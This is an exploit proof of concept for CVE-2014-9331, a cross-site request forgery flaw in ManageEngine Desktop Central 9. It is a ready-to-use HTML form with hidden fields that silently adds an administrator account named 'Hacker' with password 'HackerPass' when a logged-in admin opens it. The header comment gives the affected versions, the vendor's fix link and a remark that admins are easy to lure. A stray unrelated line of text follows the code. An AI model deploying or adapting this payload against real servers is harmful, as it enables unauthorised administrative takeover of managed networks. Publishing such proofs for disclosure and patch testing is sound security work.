<html> <!-- # Exploit Title: ManageEngine Desktop Central 9 Add and admin user through Cross-Site Request Forgery (CSRF) # Date: 05 December 2014 # Exploit Author: Mohamed Idris – Help AG Middle East # Vendor Homepage: http://www.manageengine.com/ # Software Link: http://www.manageengine.com/products/desktop-central/ # Version: All versions below build 90121 # Tested on: Version 9 Build 90087 # CVEID: CVE-2014-9331 # Vulnerability Fix: http://www.manageengine.com/products/desktop-central/cve20149331-cross-site-request-forgery.html POC Code: When an authenticated application admin clicks a link to the below code, you well get a user “Hacker” with the password “HackerPass” added to the application (convincing the admin to click on a link is so easy ;)). Remember to change the IP to the target server IP address in the code. --> <!-- CSRF PoC - Add an admin account --> <body> <form action="http://<Server-IP>:8020/STATE_ID/1417736606982/roleMgmt.do?actionToCall=addUser&SUBREQUEST=XMLHTTP" method="POST"> <input type="hidden" name="AuthenticationType" value="DC" /> <input type="hidden" name="newDCAuthUserName" value="Hacker" /> <input type="hidden" name="newDCAuthUserPassword" value="HackerPass" /> <input type="hidden" name="DCAuthconfirmPassword" value="HackerPass" /> <input type="hidden" name="newDCAuthUserEmail" value="" /> <input type="hidden" name="newDCAuthUserPNumber" value="" /> <input type="hidden" name="newADAuthUserEmail" value="" /> <input type="hidden" name="newADAuthUserPNumber" value="" /> <input type="hidden" name="MapType" value="ALL" /> <input type="hidden" name="aduserSearch" value="" /> <input type="hidden" name="searchValue" value="Search" /> <input type="hidden" name="aduserSearchRO" value="" /> <input type="hidden" name="searchValue" value="Search" /> <input type="hidden" name="action1" value="DC_ADD_USER" /> <input type="hidden" name="addUser" value="Add User" /> <input type="hidden" name="cancle" value="Cancel" /> <input type="hidden" name="customerids" value="" /> <input type="hidden" name="roleListDCAuth" value="1" /> <input type="hidden" name="PERSONALISE_LANGUAGE" value="en_US" /> <input type="hidden" name="domainListADAuth" value="-1" /> <input type="hidden" name="roleListADAuth" value="-1" /> <input type="hidden" name="PERSONALISE_LANGUAGE" value="en_US" /> <input type="submit" value="Submit request" /> </form> </body> </html>
体验盒子